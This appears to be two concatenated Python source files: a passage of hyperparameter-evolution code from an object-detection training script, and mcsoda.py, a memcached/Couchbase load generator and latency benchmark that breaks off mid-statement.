Hyperparameter evolution metadata (mutation scale 0-1, lower_limit, upper_limit) meta = {'lr0': (1, 1e-5, 1e-1), # initial learning rate (SGD=1E-2, Adam=1E-3) 'lrf': (1, 0.01, 1.0), # final OneCycleLR learning rate (lr0 * lrf) 'momentum': (0.3, 0.6, 0.98), # SGD momentum/Adam beta1 'weight_decay': (1, 0.0, 0.001), # optimizer weight decay 'warmup_epochs': (1, 0.0, 5.0), # warmup epochs (fractions ok) 'warmup_momentum': (1, 0.0, 0.95), # warmup initial momentum 'warmup_bias_lr': (1, 0.0, 0.2), # warmup initial bias lr 'box': (1, 0.02, 0.2), # box loss gain 'cls': (1, 0.2, 4.0), # cls loss gain 'cls_pw': (1, 0.5, 2.0), # cls BCELoss positive_weight 'obj': (1, 0.2, 4.0), # obj loss gain (scale with pixels) 'obj_pw': (1, 0.5, 2.0), # obj BCELoss positive_weight 'iou_t': (0, 0.1, 0.7), # IoU training threshold 'anchor_t': (1, 2.0, 8.0), # anchor-multiple threshold 'anchors': (2, 2.0, 10.0), # anchors per output grid (0 to ignore) 'fl_gamma': (0, 0.0, 2.0), # focal loss gamma (efficientDet default gamma=1.5) 'hsv_h': (1, 0.0, 0.1), # image HSV-Hue augmentation (fraction) 'hsv_s': (1, 0.0, 0.9), # image HSV-Saturation augmentation (fraction) 'hsv_v': (1, 0.0, 0.9), # image HSV-Value augmentation (fraction) 'degrees': (1, 0.0, 45.0), # image rotation (+/- deg) 'translate': (1, 0.0, 0.9), # image translation (+/- fraction) 'scale': (1, 0.0, 0.9), # image scale (+/- gain) 'shear': (1, 0.0, 10.0), # image shear (+/- deg) 'perspective': (0, 0.0, 0.001), # image perspective (+/- fraction), range 0-0.001 'flipud': (1, 0.0, 1.0), # image flip up-down (probability) 'fliplr': (0, 0.0, 1.0), # image flip left-right (probability) 'mosaic': (1, 0.0, 1.0), # image mixup (probability) 'mixup': (1, 0.0, 1.0)} # image mixup (probability) assert opt.local_rank == -1, 'DDP mode not implemented for --evolve' opt.notest, opt.nosave = True, True # only test/save final epoch # ei = [isinstance(x, (int, float)) for x in hyp.values()] # evolvable indices yaml_file = Path(opt.save_dir) / 'hyp_evolved.yaml' # save best result here if opt.bucket: os.system('gsutil cp gs://%s/evolve.txt .' % opt.bucket) # download evolve.txt if exists for _ in range(300): # generations to evolve if Path('evolve.txt').exists(): # if evolve.txt exists: select best hyps and mutate # Select parent(s) parent = 'single' # parent selection method: 'single' or 'weighted' x = np.loadtxt('evolve.txt', ndmin=2) n = min(5, len(x)) # number of previous results to consider x = x[np.argsort(-fitness(x))][:n] # top n mutations w = fitness(x) - fitness(x).min() # weights if parent == 'single' or len(x) == 1: # x = x[random.randint(0, n - 1)] # random selection x = x[random.choices(range(n), weights=w)[0]] # weighted selection elif parent == 'weighted': x = (x * w.reshape(n, 1)).sum(0) / w.sum() # weighted combination # Mutate mp, s = 0.8, 0.2 # mutation probability, sigma npr = np.random npr.seed(int(time.time())) g = np.array([x[0] for x in meta.values()]) # gains 0-1 ng = len(meta) v = np.ones(ng) while all(v == 1): # mutate until a change occurs (prevent duplicates) v = (g * (npr.random(ng) < mp) * npr.randn(ng) * npr.random() * s + 1).clip(0.3, 3.0) for i, k in enumerate(hyp.keys()): # plt.hist(v.ravel(), 300) hyp[k] = float(x[i + 7] * v[i]) # mutate # Constrain to limits for k, v in meta.items(): hyp[k] = max(hyp[k], v[1]) # lower limit hyp[k] = min(hyp[k], v[2]) # upper limit hyp[k] = round(hyp[k], 5) # significant digits # Train mutation results = train(hyp.copy(), opt, device, wandb=wandb) # Write mutation results print_mutation(hyp.copy(), results, yaml_file, opt.bucket) # Plot results plot_evolution(yaml_file) print(f'Hyperparameter evolution complete. Best results saved as: {yaml_file}\n' f'Command to train a new model with these hyperparameters: $ python train.py --hyp {yaml_file}')
mcsoda.py
#!/usr/bin/env python import re import sys import math import time import socket import string import struct import random import threading import multiprocessing import queue import logging import logging.config from collections import deque from hashlib import md5 import json import inspect sys.path.extend(('.', 'lib')) from lib import crc32 from lib import mc_bin_client from lib.membase.api.rest_client import RestConnection from lib.membase.api.exception import QueryViewException, \ ServerUnavailableException from lib.memcacheConstants import REQ_MAGIC_BYTE, RES_MAGIC_BYTE, \ ERR_NOT_MY_VBUCKET, ERR_ENOMEM, ERR_EBUSY, ERR_ETMPFAIL, REQ_PKT_FMT, \ RES_PKT_FMT, MIN_RECV_PACKET, SET_PKT_FMT, CMD_GET, CMD_SET, CMD_DELETE, \ CMD_ADD, CMD_REPLACE, CMD_PREPEND, CMD_APPEND # "ARPA" from lib.perf_engines.libobserve.obs_mcsoda import McsodaObserver from lib.perf_engines.libobserve.obs import Observable from lib.perf_engines.libobserve.obs_helper import UnblockingJoinableQueue logging.config.fileConfig("mcsoda.logging.conf") log = logging.getLogger() LARGE_PRIME = 9576890767 OPAQUE_MAX = 4294967295 INT_TYPE = type(123) FLOAT_TYPE = type(0.1) DICT_TYPE = type({}) RETRIES = 5 class Stack(object): """ Not a traditional stack: If stack is full, append() removes an item from the bottom If rotate flag is on, pop() rotates the queue rather than removes an item from the top """ def __init__(self, size, rotate=False): self.size = size self.rotate = rotate self.deq = deque() def __repr__(self): return "Stack(size=%r, rotate=%r, deq=%r" \ % (self.size, self.rotate, self.deq) def pop(self): if self.size <= 0: log.error("unable to pop item from Stack: invalid size %s" % self.size) return None try: if self.rotate: ret = self.deq[-1] self.deq.rotate(1) return ret else: return self.deq.pop() except IndexError: return None def append(self, val): if self.size <= 0: log.error("unable to append item to Stack: invalid size %s" % self.size) return while len(self.deq) >= self.size: self.deq.popleft() self.deq.append(val) def clear(self): num_cleared = len(self.deq) self.deq.clear() log.info("cleared %d items from hot stack" % num_cleared) def dict_to_s(d, level="", res=None, suffix=", ", ljust=None): res = res or [] return ''.join(dict_to_s_inner(d, level, res, suffix, ljust)) def dict_to_s_inner(d, level, res, suffix, ljust): dtype = DICT_TYPE scalars = [] complex = [] for key in list(d.keys()): if isinstance(d[key], dtype): complex.append(key) else: scalars.append(key) scalars.sort() complex.sort() # Special case for histogram output. histo_max = 0 histo_sum = 0 if scalars and not complex and \ isinstance(scalars[0], FLOAT_TYPE) and isinstance(d[scalars[0]], INT_TYPE): for key in scalars: v = d[key] histo_max = max(v, histo_max) histo_sum = histo_sum + v histo_cur = 0 # Running total for histogram output. for key in scalars: if isinstance(key, FLOAT_TYPE): k = re.sub("0*$", "", "%.7f" % key) else: k = str(key) if ljust: k = string.ljust(k, ljust) x = d[key] if histo_max: histo_cur = histo_cur + x v = str(x) if histo_max: v = string.rjust(v, 8) + " " + \ string.rjust("{0:.1%}".format(histo_cur / float(histo_sum)), 8) + " " + \ ("*" * int(math.ceil(50.0 * d[key] / histo_max))) res.append(level + k + ": " + v + suffix) # Recurse for nested, dictionary values. if complex: res.append("\n") for key in complex: res.append(level + str(key) + ":\n") dict_to_s_inner(d[key], level + " ", res, "\n", 9) return res # The histo dict is returned by add_timing_sample(). # The percentiles must be sorted, ascending, like [0.90, 0.99]. def histo_percentile(histo, percentiles): v_sum = 0 bins = sorted(list(histo.keys())) for bin in bins: v_sum += histo[bin] v_sum = float(v_sum) v_cur = 0 # Running total. rv = [] for bin in bins: if not percentiles: return rv v_cur += histo[bin] while percentiles and (v_cur // v_sum) >= percentiles[0]: rv.append((percentiles[0], bin)) percentiles.pop(0) return rv # -------------------------------------------------------- MIN_VALUE_SIZE = [10] def obs_cb(store): """ callback for observe thread. """ if not store: log.error("obs_cb is broken") return log.info("obs_cb: clear obs_key_cas %s" % store.obs_key_cas) store.obs_key_cas.clear() def woq_worker(req_queue, stats_queue, ctl, cfg, store): """ measure latencies of standard write/observe/query patterns """ bucket = "default" ddoc = "A" view = "city1" # TODO pass from eperf query_params = {"limit": 10, "stale": "false"} log.info("woq_worker started") woq_observer = McsodaObserver(ctl, cfg, store, None) while True: key, cas = req_queue.get(block=True) start_time = time.time() # latency includes observe and query time # observe if not woq_observer.block_for_persistence(key, cas): # put an invalid object to indicate error stats_queue.put([key, cas, 0, 0, 0, 0], block=True) req_queue.task_done() continue obs_latency = time.time() - start_time if cfg.get("woq-verbose", 0): log.info("woq_worker obs latency: %s, key = %s, cas = %s " % (obs_latency, key, cas)) query_start = time.time() try: result = store.rest.query_view(ddoc, view, bucket, query_params) except QueryViewException as e: log.error("woq_worker QueryViewException: %s" % e) stats_queue.put([key, cas, 0, 0, 0, 0], block=True) req_queue.task_done() continue query_latency = time.time() - query_start if cfg.get("woq-verbose", 0): log.info("woq_worker query latency: %s, key = %s, cas = %s " % (query_latency, key, cas)) log.info("woq_worker query result: %s" % result) latency = time.time() - start_time stats_queue.put([key, cas, start_time, obs_latency, query_latency, latency], block=True) req_queue.task_done() log.info("woq_worker stopped working") def cor_worker(stats_queue, ctl, cfg, cur, store): """ Sequentially measure latencies of create/observe_replications patterns Create brand new items instead of reusing the foreground mcsoda load """ OP_WIN = 1 # ensure foreground load to dominate the traffic backoff = 0 key_num = OPAQUE_MAX - cur.get('cur-gets', 0) store.cfg["cor"] = 1 store.cfg["batch"] = 1 persist = (int(cfg.get('cor-persist', 0)) == 1) if isinstance(store, StoreMembaseBinary): store.awareness.reset() else: log.error("cannot start cor_worker: invalid store %s" % store) return log.info("cor_worker started") observer = McsodaObserver(ctl, cfg, store, None) while True: if backoff: log.info("cor_worker sleep for %s seconds" % backoff) time.sleep(backoff) backoff = 0 start_time = time.time() key_num -= 1 key_str = prepare_key(key_num, cfg.get('prefix', '')) data = store.gen_doc( key_num, key_str, choose_entry(cfg.get('min-value-size', MIN_VALUE_SIZE), key_num) ) grp = store.inflight_start() store.cmd_append("set", key_num, key_str, data, 0, grp) msg = store.inflight_complete(grp) store.inflight_send(msg) store.inflight_recv(1, grp, expectBuffer=False) cas = store.cor_key_cas[key_num] store.cor_key_cas.clear() status = \ observer.block_for_replication(key_str, cas, persist=persist) latency = time.time() - start_time if status: stats_queue.put([key_str, cas, start_time, latency], block=True) else: # put an invalid object to indicate error stats_queue.put([key_str, cas, 0, 0], block=True) if latency < OP_WIN: backoff = OP_WIN - latency log.info("cor_worker stopped") def run_worker(ctl, cfg, cur, store, prefix, heartbeat=0, why=""): i = 0 t_last_flush = time.time() t_last_cycle = time.time() o_last_flush = store.num_ops(cur) t_last = time.time() o_last = store.num_ops(cur) xfer_sent_last = 0 xfer_recv_last = 0 store.why = why store.stats_ops = cfg.get("stats_ops", 10000) report = cfg.get('report', 0) hot_shift = cfg.get('hot-shift', 0) max_ops_per_sec = float(cfg.get('max-ops-per-sec', 0)) if cfg.get('max-ops-per-sec', 0) > 0 and not 'batch' in cur: cur['batch'] = 10 log.debug("%s starts cfg: %s" % (why, cfg)) log.debug("%s starts cur: %s" % (why, cur)) log.debug("%s starts store: %s" % (why, store)) log.debug("%s starts prefix: %s" % (why, prefix)) log.debug("%s starts running." % why) heartbeat_last = t_last if cfg.get('woq-pattern', 0): woq_req_queue = UnblockingJoinableQueue(1) # pattern: write/observe/query woq_stats_queue = multiprocessing.Queue(1) woq_process = multiprocessing.Process(target=woq_worker, args=(woq_req_queue, woq_stats_queue, ctl, cfg, store)) woq_process.daemon = True woq_process.start() if cfg.get('observe', 0): observer = McsodaObserver(ctl, cfg, store, obs_cb) observer.start() if cfg.get('cor-pattern', 0): cor_stats_queue = multiprocessing.Queue() cor_process = multiprocessing.Process( target=cor_worker, args=(cor_stats_queue, ctl, cfg, cur, store)) cor_process.daemon = True cor_process.start() while ctl.get('run_ok', True): num_ops = cur.get('cur-gets', 0) + cur.get('cur-sets', 0) if cfg.get('max-ops', 0) and num_ops >= cfg.get('max-ops', 0): log.info("exiting because of max ops") break if cfg.get('exit-after-creates', 0) and cfg.get('max-creates', 0) and \ cur.get('cur-creates', 0) >= cfg.get('max-creates', 0): log.info("exiting because of max creates") break if cfg.get('exit-after-gets', 0) and cfg.get('max-gets', 0) and \ cur.get('cur-gets', 0) >= cfg.get('max-gets', 0): log.info("exiting because of max gets") break if ctl.get('shutdown_event') is not None and \ ctl['shutdown_event'].is_set(): log.info("exiting because of shutdown event") break heartbeat_duration = time.time() - heartbeat_last if heartbeat != 0 and heartbeat_duration > heartbeat: heartbeat_last += heartbeat_duration if cfg.get('max-ops', 0): progress = 100.0 * num_ops // cfg['max-ops'] log.info("%s num ops = %s out of %s (%.2f %%)", why, num_ops, cfg['max-ops'], progress) else: log.info("%s num ops = %s", why, num_ops) command = next_cmd(cfg, cur, store) flushed = store.command(command) if flushed and cfg.get('woq-pattern', 0): # record stats if not woq_stats_queue.empty(): try: key, cas, start_time, obs_latency, query_latency, latency \ = woq_stats_queue.get(block=False) if not start_time and not latency: store.woq_key_cas.clear() # error else: store.add_timing_sample("woq-obs", obs_latency) store.add_timing_sample("woq-query", query_latency) store.add_timing_sample("woq", latency) store.save_stats(start_time) store.woq_key_cas.clear() # simply clear all, no key/cas sanity check log.info("woq_stats: key: %s, cas: %s, " "obs_latency: %f, query_latency: %f, latency: %f" % (key, cas, obs_latency, query_latency, latency)) except queue.Empty: pass # produce request if woq_req_queue.all_finished(): for key_num, cas in store.woq_key_cas.items(): key = prepare_key(key_num, cfg.get('prefix', '')) try: woq_req_queue.put([key, cas], block=False) except queue.Full: break if flushed and cfg.get('observe', 0): if store.obs_key_cas and not observer.num_observables(): observables = [] for key_num, cas in store.obs_key_cas.items(): obs = Observable(key=prepare_key(key_num, cfg.get('prefix', '')), cas=cas, persist_count=cfg.get('obs-persist-count', 1), repl_count=cfg.get('obs-repl-count', 1)) observables.append(obs) observer.load_observables(observables) if flushed and cfg.get('cor-pattern', 0): # record stats if not cor_stats_queue.empty(): try: key, cas, start_time, latency = \ cor_stats_queue.get(block=False) if latency: store.add_timing_sample("cor", latency) store.save_stats(start_time) log.info("cor_stats: key: %s, cas: %s, latency: %f" % (key, cas, latency)) except queue.Empty: pass i += 1 if report > 0 and i % report == 0: t_curr = time.time() o_curr = store.num_ops(cur) xfer_sent_curr = store.xfer_sent xfer_recv_curr = store.xfer_recv t_delta = t_curr - t_last o_delta = o_curr - o_last xfer_sent_delta = xfer_sent_curr - xfer_sent_last xfer_recv_delta = xfer_recv_curr - xfer_recv_last try: ops_per_sec = o_delta // t_delta xfer_sent_per_sec = xfer_sent_delta // t_delta xfer_recv_per_sec = xfer_recv_delta // t_delta except ZeroDivisionError: ops_per_sec = o_delta xfer_sent_per_sec = xfer_sent_delta xfer_recv_per_sec = xfer_recv_delta log.debug(prefix + dict_to_s(cur)) log.info("%s ops: %s secs: %s ops/sec: %s tx-bytes/sec: %s rx-bytes/sec: %s" % (prefix, o_delta, t_delta, int(ops_per_sec), int(xfer_sent_per_sec) or "unknown", int(xfer_recv_per_sec) or "unknown")) t_last = t_curr o_last = o_curr xfer_sent_last = xfer_sent_curr xfer_recv_last = xfer_recv_curr if flushed: # Code below is responsible for speed limitation. # Stream looks like ^_^_^_^_^_^_^ # # delta1 = flush time + previous sleep time (^_) # delta2 = flush time (^) # # TODO: dynamic correction factor. # We have to measure actual average throughput - let's say - every # minute. Thus we can adjust request rate. For now it's empiric, # because we always oversleep. CORRECTION_FACTOR = 0.975 delta1 = time.time() - t_last_cycle delta2 = time.time() - t_last_flush t_last_cycle += delta1 ops_done = float(store.num_ops(cur) - o_last_flush) o_last_flush += ops_done if max_ops_per_sec: # Taking into account global throughtput if cfg.get('active_fg_workers') is not None: concurrent_workers = cfg.get('active_fg_workers').value else: concurrent_workers = 1 local_max_ops_per_sec = max_ops_per_sec // concurrent_workers # Actual throughput ops_per_sec = ops_done // delta2 # Sleep if too fast. It must be too fast. if ops_per_sec > local_max_ops_per_sec: sleep_time = CORRECTION_FACTOR * ops_done // local_max_ops_per_sec - delta2 time.sleep(max(sleep_time, 0)) if hot_shift > 0: cur['cur-base'] = cur.get('cur-base', 0) + (hot_shift * delta1) t_last_flush = time.time() store.flush() def next_cmd(cfg, cur, store): do_delete = False itm_val = None num_ops = cur.get('cur-ops', 0) do_set = cfg.get('ratio-sets', 0) > float(cur.get('cur-sets', 0)) / positive(num_ops) if do_set: itm_gen = True cmd = 'set' cur_sets = cur.get('cur-sets', 0) + 1 cur['cur-sets'] = cur_sets cur['cur-ops'] = cur.get('cur-ops', 0) + 1 do_set_create = ( (cfg.get('max-items', 0) <= 0 or cfg.get('max-items', 0) > cur.get('cur-items', 0)) and cfg.get('max-creates', 0) > cur.get('cur-creates', 0) and cfg.get('ratio-creates', 0) >= float(cur.get('cur-creates', 0)) / positive(cur.get('cur-sets', 0)) ) if do_set_create: # Create... key_num = cur.get('cur-items', 0) cur['cur-items'] = cur.get('cur-items', 0) + 1 cur['cur-creates'] = cur.get('cur-creates', 0) + 1 else: # Update... num_updates = cur['cur-sets'] - cur.get('cur-creates', 0) do_delete = cfg.get('ratio-deletes', 0) > \ float(cur.get('cur-deletes', 0)) / positive(num_updates) if do_delete: itm_gen = False cmd = 'delete' cur['cur-deletes'] = cur.get('cur-deletes', 0) + 1 else: num_mutates = num_updates - cur.get('cur-deletes', 0) do_arpa = cfg.get('ratio-arpas', 0) > \ float(cur.get('cur-arpas', 0)) / positive(num_mutates) if do_arpa: cmd = 'arpa' cur['cur-arpas'] = cur.get('cur-arpas', 0) + 1 key_num = choose_key_num(num_updates, cfg.get('ratio-hot', 0), cfg.get('ratio-hot-sets', 0), cur.get('cur-sets', 0), cur.get('cur-base', 0), cfg.get('random', 0), cur) if not do_delete and cfg.get('hot-stack', 0): stack = cur.get('hot-stack', None) if not stack: rotate = (cfg.get('hot-stack-rotate', 0) == 1) stack = Stack(cfg.get('hot-stack-size', 10), rotate) cur['hot-stack'] = stack stack.append(key_num) expiration = 0 if cmd[0] == 's' and cfg.get('ratio-expirations', 0.0) * 100 > cur_sets % 100: expiration = cfg.get('expiration', 0) key_str = prepare_key(key_num, cfg.get('prefix', '')) if itm_gen: itm_val = store.gen_doc(key_num, key_str, choose_entry(cfg.get('min-value-size', MIN_VALUE_SIZE), num_ops)) return cmd, key_num, key_str, itm_val, expiration else: cmd = 'get' cur['cur-gets'] = cur.get('cur-gets', 0) + 1 cur['cur-ops'] = cur.get('cur-ops', 0) + 1 do_query = cfg.get('ratio-queries', 0) > \ float(cur.get('cur-queries', 0)) / cur.get('cur-gets', 0) if do_query: cmd = 'query' cur['cur-queries'] = cur.get('cur-queries', 0) + 1 do_get_hit = (cfg.get('ratio-misses', 0) * 100) <= (cur.get('cur-gets', 0) % 100) if do_get_hit: key_num = None do_hot = (cfg.get('ratio-hot-gets', 0) * 100)\ > (cur.get('cur-gets', 0) % 100) stack = cur.get('hot-stack', None) if do_hot and stack: key_num = stack.pop() if cfg.get('exit-after-gets', 0): key_num = cur['cur-gets'] if not key_num: key_num = choose_key_num(cur.get('cur-items', 0), cfg.get('ratio-hot', 0), cfg.get('ratio-hot-gets', 0), cur.get('cur-gets', 0), cur.get('cur-base', 0), cfg.get('random', 0), cur) key_str = prepare_key(key_num, cfg.get('prefix', '')) return cmd, key_num, key_str, itm_val, 0 else: cur['cur-misses'] = cur.get('cur-misses', 0) + 1 return cmd, -1, prepare_key(-1, cfg.get('prefix', '')), None, 0 def choose_key_num(num_items, ratio_hot, ratio_hot_choice, num_ops, base, random_key, cur): """ Choose a random or deterministic number in order to generate the MD5 hash. The deterministic algorithm always favors new items. i.e: If many items have been created (num_creates > num_hot_items), \ hot items are chosen from the newest guys. """ num_creates = cur.get('cur-creates', 0) if num_items < 0 or ratio_hot < 0 or ratio_hot > 1: log.error("num_items: {0}, num_creates:{1}, ratio_hot: {2}" .format(num_items, num_creates, ratio_hot)) return 1 # get a random or deterministic key if random_key == 1: x = int(random.random() * num_items) else: pos = cur.get('pos', 0) pos = (pos + LARGE_PRIME) % positive(num_items) cur['pos'] = pos x = pos hit_hot_range = (ratio_hot_choice * 100) > (num_ops % 100) num_hot_items = positive(math.floor(ratio_hot * num_items)) num_cold_items = positive(num_items - num_hot_items) num_init_items = positive(num_items - num_creates) base %= num_init_items # calculate offset and apply it to the base if hit_hot_range: offset = x % num_hot_items if offset > num_creates: # choose from the left hot set retval = (base + offset - num_creates) % num_init_items else: retval = num_items - offset # choose from the right hot set else: offset = x % num_cold_items if num_creates > num_hot_items: retval = offset elif base > num_cold_items: # no split-up on the cold set retval = (base + num_hot_items - num_creates + offset) % num_init_items elif offset < base: # choose from the left cold set retval = offset else: retval = offset + num_hot_items - num_creates # choose from the right cold set return int(retval) % num_items def positive(x): if x > 0: return x return 1 def prepare_key(key_num, prefix=None): key_hash = md5(str(key_num).encode("utf-8")).hexdigest()[0:16] if prefix and len(prefix) > 0: return prefix + "-" + key_hash return key_hash def choose_entry(arr, n): return arr[n % len(arr)] class Store(object): def __init__(self): self.errors = dict() def connect(self, target, user, pswd, cfg, cur, bucket="default", backups=None): self.target = target self.cfg = cfg self.cur = cur self.xfer_sent = 0 self.xfer_recv = 0 def err_msg(self, error): """Generate error message with class.method names as prefix""" cname = self.__class__.__name__ fname = inspect.stack()[2][3] # err_msg <- save_error <- caller return "[{0}.{1}] {2}".format(cname, fname, error) def save_error(self, error): """Update dictionary with errors""" err_msg = self.err_msg(error) self.errors[err_msg] = self.errors.get(err_msg, 0) + 1 def show_some_keys(self): log.debug("first 5 keys...") for i in range(5): log.debug(("echo get %s | nc %s %s" % (self.cmd_line_get(i, prepare_key(i, self.cfg.get('prefix', ''))), self.target.rsplit(':', 1)[0], self.target.rsplit(':', 1)[1]))) def stats_collector(self, sc): self.sc = sc def command(self, c): cmd, key_num, key_str, data, expiration = c if cmd[0] == 'g' or cmd[0] == 'q': log.debug(cmd + ' ' + key_str + '\r') return False if cmd[0] == 'd': log.debug('delete ' + key_str + '\r') return False c = 'set' if cmd[0] == 'a': c = self.arpa[self.cur.get('cur-sets', 0) % len(self.arpa)] log.debug("%s %s 0 %s %s\r\n%s\r" % (c, key_str, expiration, len(data), data)) return False def flush(self): pass def num_ops(self, cur): return cur.get('cur-gets', 0) + cur.get('cur-sets', 0) def gen_doc(self, key_num, key_str, min_value_size, json=None, cache=None): if json is None: json = self.cfg.get('json', 1) > 0 if cache is None: cache = self.cfg.get('doc-cache', 0) return gen_doc_string(key_num, key_str, min_value_size, self.cfg['suffix'][min_value_size], json, cache=cache) def cmd_line_get(self, key_num, key_str): return key_str def readbytes(self, skt, nbytes, buf): while len(buf) < nbytes: data = None try: data = skt.recv(max(nbytes - len(buf), 4096)) except Exception as error: self.save_error(error) log.error(error) if not data: self.save_error("no data") log.error("no data") return None, "" buf += data return buf[:nbytes], buf[nbytes:] def add_timing_sample(self, cmd, delta, prefix="latency-"): base = prefix + cmd for suffix in self.cfg.get("timing-suffixes", ["", "-recent"]): key = base + suffix histo = self.cur.get(key, None) if histo is None: histo = {} self.cur[key] = histo try: bucket = round(self.histo_bucket(delta), 6) histo[bucket] = histo.get(bucket, 0) + 1 except TypeError as error: self.save_error(error) log.error(error) def histo_bucket(self, samp): hp = self.cfg.get("histo-precision", 2) if samp > 0: p = 10 ** (math.floor(math.log10(samp)) - (hp - 1)) r = round(samp // p) return r * p def drange(self, start, stop, step): r = start while r < stop: yield round(float(r), 6) r += float(step) class StoreMemcachedBinary(Store): def connect(self, target, user, pswd, cfg, cur, bucket="default", backups=None): self.cfg = cfg self.cur = cur self.target = target self.host_port = (target + ":11211").rsplit(':', 1)[0:2] self.host_port[1] = int(self.host_port[1]) self.host_port = self.host_port[0].rsplit(':')[0:3] self.connect_host_port(self.host_port[0], self.host_port[1], user, pswd, bucket=bucket) self.inflight_reinit() self.queue = [] self.cmds = 0 self.ops = 0 self.previous_ops = 0 self.buf = '' self.arpa = [(CMD_ADD, True), (CMD_REPLACE, True), (CMD_APPEND, False), (CMD_PREPEND, False)] self.xfer_sent = 0 self.xfer_recv = 0 self.obs_key_cas = {} # {key_num: cas} pair self.woq_key_cas = {} # {key_num: cas} pair self.cor_key_cas = {} # {key_num: cas} pair self.retries = 0 self.backups = backups self.bucket = bucket self.user = user self.pswd = pswd def reconnect(self): if self.backups: self.target = self.backups[0] self.backups.pop(0) log.info("StoreMemcachedBinary: reconnect to %s" % self.target) self.host_port = (self.target + ":11211").rsplit(':', 0)[0:2] self.host_port[1] = int(self.host_port[1]) self.connect_host_port(self.host_port[0], self.host_port[1], self.user, self.pswd, bucket=self.bucket) def connect_host_port(self, host, port, user, pswd, bucket="default"): self.conn = mc_bin_client.MemcachedClient(host, port) if user and bucket != "default": self.conn.sasl_auth_plain(user, pswd) def inflight_reinit(self, inflight=0): self.inflight = inflight self.inflight_num_gets = 0 self.inflight_num_sets = 0 self.inflight_num_deletes = 0 self.inflight_num_arpas = 0 self.inflight_num_queries = 0 self.inflight_start_time = 0 self.inflight_end_time = 0 self.inflight_grp = None def inflight_start(self): return [] def inflight_complete(self, inflight_arr): return ''.join(inflight_arr) def inflight_send(self, inflight_msg): try: self.conn.s.sendall(inflight_msg) except socket.error as error: self.retries += 1 self.save_error(error) log.error("%s, retries = %s", error, self.retries) if self.retries == RETRIES: e = ServerUnavailableException(self.host_port) self.reconnect() self.retries = 0 raise e time.sleep(0.2) return 0 return len(inflight_msg) def inflight_recv(self, inflight, inflight_arr, expectBuffer=None): received = 0 for i in range(inflight): try: cmd, keylen, extralen, errcode, datalen, opaque, val, buf = \ self.recvMsg() except Exception as error: self.retries += 1 self.save_error(error) log.error("%s, retries = %s", error, self.retries) if self.retries == RETRIES: e = ServerUnavailableException(self.host_port) self.reconnect() self.retries = 0 raise e time.sleep(0.2) return received received += datalen + MIN_RECV_PACKET return received def inflight_append_buffer(self, grp, vbucketId, opcode, opaque): return grp def command(self, c): self.queue.append(c) if len(self.queue) <= self.flush_level(): return False try: self.flush() return True except ServerUnavailableException as error: self.save_error(error) log.error(error) self.queue = list() self.inflight_reinit() return False def flush_level(self): return self.cur.get('batch') or self.cfg.get('batch', 100) def get_vbucketId(self, key): vbuckets = self.cfg.get("vbuckets", 0) if vbuckets > 0: return crc32.crc32_hash(key) & (vbuckets - 1) return 0 def header(self, op, key, val, opaque=0, extra='', cas=0, dtype=0, fmt=REQ_PKT_FMT, magic=REQ_MAGIC_BYTE): vbucketId = self.get_vbucketId(key) return struct.pack(fmt, magic, op, len(key), len(extra), dtype, vbucketId, len(key) + len(extra) + len(val), opaque, cas), vbucketId def create_seed(self): """Return a seed (hashable tuple or int value) based on current stats. This seed ensures reproducible randomness for the same test configurations. """ if self.why == 'loop-fg': return self.cur.get('cur-queries', 0) else: return (self.cur.get('cur-gets', 0), self.cur.get('cur-sets', 0), self.cur.get('cur-deletes', 0), self.cur.get('cur-creates', 0), self.cur.get('cur-arpas', 0)) def flush(self): next_inflight = 0 next_inflight_num_gets = 0 next_inflight_num_sets = 0 next_inflight_num_deletes = 0 next_inflight_num_arpas = 0 next_inflight_num_queries = 0 next_grp = self.inflight_start() # Permutation of requests random.seed(self.create_seed()) random.shuffle(self.queue) # Start a 1, not 0, due to the single latency measurement request. for i in range(1, len(self.queue)): cmd, key_num, key_str, data, expiration = self.queue[i] delta_gets, delta_sets, delta_deletes, delta_arpas, delta_queries = \ self.cmd_append(cmd, key_num, key_str, data, expiration, next_grp) next_inflight += 1 next_inflight_num_gets += delta_gets next_inflight_num_sets += delta_sets next_inflight_num_deletes += delta_deletes next_inflight_num_arpas += delta_arpas next_inflight_num_queries += delta_queries next_msg = self.inflight_complete(next_grp) latency_cmd = None latency_start = 0 latency_end = 0 if self.inflight > 0: # Receive replies from the previous batch of inflight requests. self.xfer_recv += self.inflight_recv(self.inflight, self.inflight_grp) self.inflight_end_time = time.time() self.ops += self.inflight if self.sc: self.sc.ops_stats({'tot-gets': self.inflight_num_gets, 'tot-sets': self.inflight_num_sets, 'tot-deletes': self.inflight_num_deletes, 'tot-arpas': self.inflight_num_arpas, 'tot-queries': self.inflight_num_queries, 'start-time': self.inflight_start_time, 'end-time': self.inflight_end_time}) if len(self.queue) > 0: # Use the first request in the batch to measure single # request latency. grp = self.inflight_start() latency_cmd, key_num, key_str, data, expiration = self.queue[0] self.cmd_append(latency_cmd, key_num, key_str, data, expiration, grp) msg = self.inflight_complete(grp) latency_start = time.time() self.xfer_sent += self.inflight_send(msg) self.xfer_recv += self.inflight_recv(1, grp, expectBuffer=False) latency_end = time.time() self.ops += 1 self.queue = [] self.inflight_reinit() if next_inflight > 0: self.inflight = next_inflight self.inflight_num_gets = next_inflight_num_gets self.inflight_num_sets = next_inflight_num_sets self.inflight_num_deletes = next_inflight_num_deletes self.inflight_num_arpas = next_inflight_num_arpas self.inflight_num_queries = next_inflight_num_queries self.inflight_start_time = time.time() self.inflight_grp = next_grp self.xfer_sent += self.inflight_send(next_msg) if latency_cmd: delta = latency_end - latency_start self.add_timing_sample(latency_cmd, delta) if self.sc: if self.ops - self.previous_ops > self.stats_ops: self.previous_ops = self.ops self.save_stats() log.debug("%s save_stats : %s" % (self.why, latency_cmd)) def save_stats(self, cur_time=0): for key in self.cur: if key.startswith('latency-'): histo = self.cur.get(key, None) if histo: self.sc.latency_stats(key, histo, cur_time) if key.endswith('-recent'): self.cur[key] = {} self.sc.sample(self.cur) def cmd_append(self, cmd, key_num, key_str, data, expiration, grp): self.cmds += 1 if cmd[0] == 'g' or cmd[0] == 'q': hdr, vbucketId = self.header(CMD_GET, key_str, '', opaque=self.cmds) m = self.inflight_append_buffer(grp, vbucketId, CMD_GET, self.cmds) m.append(hdr) m.append(key_str) return 1, 0, 0, 0, 0 elif cmd[0] == 'd': hdr, vbucketId = self.header(CMD_DELETE, key_str, '', opaque=self.cmds) m = self.inflight_append_buffer(grp, vbucketId, CMD_DELETE, self.cmds) m.append(hdr) m.append(key_str) return 0, 0, 1, 0, 0 rv = (0, 1, 0, 0, 0) curr_cmd = CMD_SET curr_extra = struct.pack(SET_PKT_FMT, 0, expiration) if cmd[0] 